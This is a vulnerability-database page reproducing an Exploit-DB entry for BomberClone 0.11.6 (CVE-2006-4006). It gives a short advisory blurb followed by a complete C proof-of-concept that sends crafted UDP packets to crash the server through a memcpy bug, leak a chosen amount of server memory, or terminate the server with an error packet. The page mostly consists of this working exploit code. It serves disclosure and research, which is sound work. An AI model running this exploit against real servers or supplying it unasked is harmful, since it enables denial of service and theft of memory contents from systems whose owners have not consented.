Lucene search
+L

BomberClone 0.11 - Multiple Vulnerabilities

🗓️ 31 Jul 2006 00:00:00Reported by Luigi AuriemmaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

BomberClone 0.11 - Multiple Vulnerabilities in remote information-disclosure and denial-of-servic

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2006-4006
7 Aug 200619:00
cve
Cvelist
CVE-2006-4006
7 Aug 200619:00
cvelist
Debian
[SECURITY] [DSA 1180-1] New bomberclone packages fix several vulnerabilities
19 Sep 200616:37
debian
Debian CVE
CVE-2006-4006
7 Aug 200619:00
debiancve
Tenable Nessus
Debian DSA-1180-1 : bomberclone - programming error
14 Oct 200600:00
nessus
NVD
CVE-2006-4006
7 Aug 200619:04
nvd
OpenVAS
Debian: Security Advisory (DSA-1180-1)
17 Jan 200800:00
openvas
OpenVAS
Debian Security Advisory DSA 1180-1 (bomberclone)
17 Jan 200800:00
openvas
OSV
DEBIAN-CVE-2006-4006
7 Aug 200619:04
osv
OSV
DSA-1180-1 bomberclone
19 Sep 200600:00
osv
Rows per page
// source: https://www.securityfocus.com/bid/19255/info

Bomberclone is prone to remote information-disclosure and denial-of-service vulnerabilities because it fails to properly sanitize user-supplied input.

These issues allow remote attackers to access sensitive information and to crash the application, denying further service to legitimate users.

Version 0.11.6 is reported vulnerable; other versions may also be affected.

/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include "show_dump.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close   closesocket
    #define sleep   Sleep
    #define ONESEC  1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC  1
#endif



#define VER             "0.1"
#define PORT            11000
#define BUFFSZ          0xffff

#define LEN_VERSION     20
#define LEN_GAMENAME    32



void show_bomberclone_info(u_char *p);

int put08(u_char *data, int num);
int get08(u_char *data, int *num);
int put16(u_char *data, int num);
int get16(u_char *data, int *num);
int put32(u_char *data, int num);
int get32(u_char *data, int *num);
#define putsx(data, src, len)   len; strncpy(data - len, src, len);

void delimit(u_char *data);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
int timeout(int sock, int secs);
u_int resolv(char *host);
void std_err(void);



struct  sockaddr_in peer;

enum _network_data {
    PKG_error = 0,
    PKG_gameinfo,
    PKG_joingame,   // every packet below here will checked
                    // if it comes from a orginal player
    PKG_contest,
    PKG_playerid,
    PKG_servermode,
    PKG_pingreq,
    PKG_pingack,
    PKG_getfield,
    PKG_getplayerdata,
    PKG_teamdata,
    PKG_fieldline,
    PKG_pkgack,
    PKG_mapinfo,
    PKG_tunneldata,
    PKG_updateinfo,
    PKG_field,          // forward - always be the first field
    PKG_playerdata,     // forward
    PKG_bombdata,       // forward
    PKG_playerstatus,   // forward
    PKG_playermove,     // forward
    PKG_chat,           // forward
    PKG_ill,            // forward
    PKG_special,        // forward
    PKG_dropitem,       // forward
    PKG_respawn,        // forward
    PKG_quit            // forward - always the last known type forwarded type
};

enum _pkgflags {
    PKGF_ackreq = 1,
    PKGF_ipv6 = 2
};



int main(int argc, char *argv[]) {
    int     sd,
            attack,
            len,
            pcksz;
    u_short port  = PORT;
    u_char  *buff,
            *p,
            *t;

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "BomberClone <= 0.11.6 bugs "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web:    aluigi.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%hu)]\n"
            "\n"
            "Attacks:\n"
            " 1 = memcpy crash in rscache_add\n"
            " 2 = information disclosure in send_pkg\n"
            " 3 = simple error message termination\n"
            "\n", argv[0], port);
        exit(1);
    }

    attack = atoi(argv[1]);

    if(argc > 3) port = atoi(argv[3]);
    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf("- target   %s : %hu\n",
        inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));

    buff = malloc(BUFFSZ);
    if(!buff) std_err();

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    p = buff;
    p += put08(p, PKG_gameinfo);        // typ
    p += put08(p, 0);                   // flags
    p += put16(p, 0);                   // id
    t = p;  p += 2;                     // len

    p += put32(p, 0);                   // timestamp
    p += put16(p, 0);                   // ??? unknown
    p += put08(p, 0);                   // curplayers
    p += put08(p, 0);                   // maxplayers
    p += putsx(p, "", LEN_GAMENAME);    // gamename
    p += putsx(p, "", LEN_VERSION);     // version
    p += put08(p, 0);                   // broadcast
    p += put08(p, -1);                  // password

    put16(t, (p - t) - 2);

    len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 1);

    close(sd);

    show_bomberclone_info(buff);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    if(attack == 1) {
        p = buff;
        p += put08(p, PKG_gameinfo);
        p += put08(p, PKGF_ackreq);     // required!

        p += put16(p, 0);
        p += put16(p, 0xffff);          // bug

        p += put32(p, 0);
        p += put16(p, 0);
        p += put08(p, 0);
        p += put08(p, 0);
        p += putsx(p, "", LEN_GAMENAME);
        p += putsx(p, "", LEN_VERSION);
        p += put08(p, 0);
        p += put08(p, -1);

        printf("- send malformed packet\n");
        len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);

    } else if(attack == 2) {
        printf(
            "- insert the amount of bytes you want to read from the server's memory,\n"
            "  try with 3000 or 3500:\n"
            "  ");
        fflush(stdin);
        fgets(buff, BUFFSZ, stdin);
        pcksz = atoi(buff);

        p = buff;
        p += put08(p, PKG_gameinfo);
        p += put08(p, 0);

        p += put16(p, 0);
        p += put16(p, pcksz);           // how many memory you want to see?

        p += put32(p, 0);
        p += put16(p, 0);
        p += put08(p, 0);
        p += put08(p, 0);
        p += putsx(p, "", LEN_GAMENAME);
        p += putsx(p, "", LEN_VERSION);
        p += put08(p, 0);
        p += put08(p, -1);

        printf("- send custom info packet (%d 0x%x bytes)\n", pcksz, pcksz);
        do {
            len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);
        } while((len > 0) && (buff[0] != PKG_gameinfo));
        if(len > 0) show_dump(buff, len, stdout);
        goto quit;

    } else {
        p = buff;
        p += put08(p, PKG_error);
        p += put08(p, 0);
        p += put16(p, 0);
        t = p;  p += 2;

        p += put08(p, 1);               // nr
        p += putsx(p, "bye bye", 128);  // text

        put16(t, (p - t) - 2);

        printf("- send error packet\n");
        len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);
    }

    close(sd);

    sleep(ONESEC);

    printf("- check server:\n");
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    p = buff;
    p += put08(p, PKG_gameinfo);
    p += put08(p, 0);
    p += put16(p, 0);
    t = p;  p += 2;

    p += put32(p, 0);
    p += put16(p, 0);
    p += put08(p, 0);
    p += put08(p, 0);
    p += putsx(p, "", LEN_GAMENAME);
    p += putsx(p, "", LEN_VERSION);
    p += put08(p, 0);
    p += put08(p, -1);

    put16(t, (p - t) - 2);

    len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);
    if(len < 0) {
        printf("\n  Server IS vulnerable!!!\n\n");
    } else {
        printf("\n  Server doesn't seem vulnerable\n\n");
    }

quit:
    close(sd);
    return(0);
}



void show_bomberclone_info(u_char *p) {
    int     curplayers,
            maxplayers;
    u_char  *gamename,
            *version;

    p += 12;
    p += get08(p, &curplayers);
    p += get08(p, &maxplayers);
    gamename = p;
    version  = p + LEN_GAMENAME;

    printf("\n"
        "  server:    %.*s\n"
        "  version:   %.*s\n"
        "  players:   %d/%d\n"
        "\n",
        LEN_GAMENAME,   gamename,
        LEN_VERSION,    version,
        curplayers,     maxplayers);
}



int put08(u_char *data, int num) {
    data[0] = num;
    return(1);
}



int get08(u_char *data, int *num) {
    if(num) {
        *num = data[0];
    }
    return(1);
}



int put16(u_char *data, int num) {
    data[0] = num;
    data[1] = num >> 8;
    return(2);
}



int get16(u_char *data, int *num) {
    if(num) {
        *num = data[0] | (data[1] << 8);
    }
    return(2);
}



int put32(u_char *data, int num) {
    data[0] = num;
    data[1] = num >> 8;
    data[2] = num >> 16;
    data[3] = num >> 24;
    return(4);
}



int get32(u_char *data, int *num) {
    if(num) {
        *num = data[0] | (data[1] << 8) | (data[2] << 16) | (data[3] << 24);
    }
    return(4);
}



void delimit(u_char *data) {
    while(*data && (*data != '\n') && (*data != '\r')) data++;
    *data = 0;
}



int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) {
    int     retry,
            len;

    if(in && !out) {
        if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        return(0);

    } else if(in) {
        for(retry = 3; retry; retry--) {
            if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
              < 0) std_err();
            if(!timeout(sd, 1)) break;
        }

        if(!retry) {
            goto timeout_received;
        }

    } else {
        if(timeout(sd, 3) < 0) {
            goto timeout_received;
        }
    }

    len = recvfrom(sd, out, outsz, 0, NULL, NULL);
    if(len < 0) std_err();
    return(len);

timeout_received:
    if(err) {
        printf("\nError: socket timeout, no reply received\n\n");
        exit(1);
    }
    return(-1);
}



int timeout(int sock, int sec) {
    struct  timeval tout;
    fd_set  fd_read;
    int     err;

    tout.tv_sec  = sec;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}



u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_int *)hp->h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation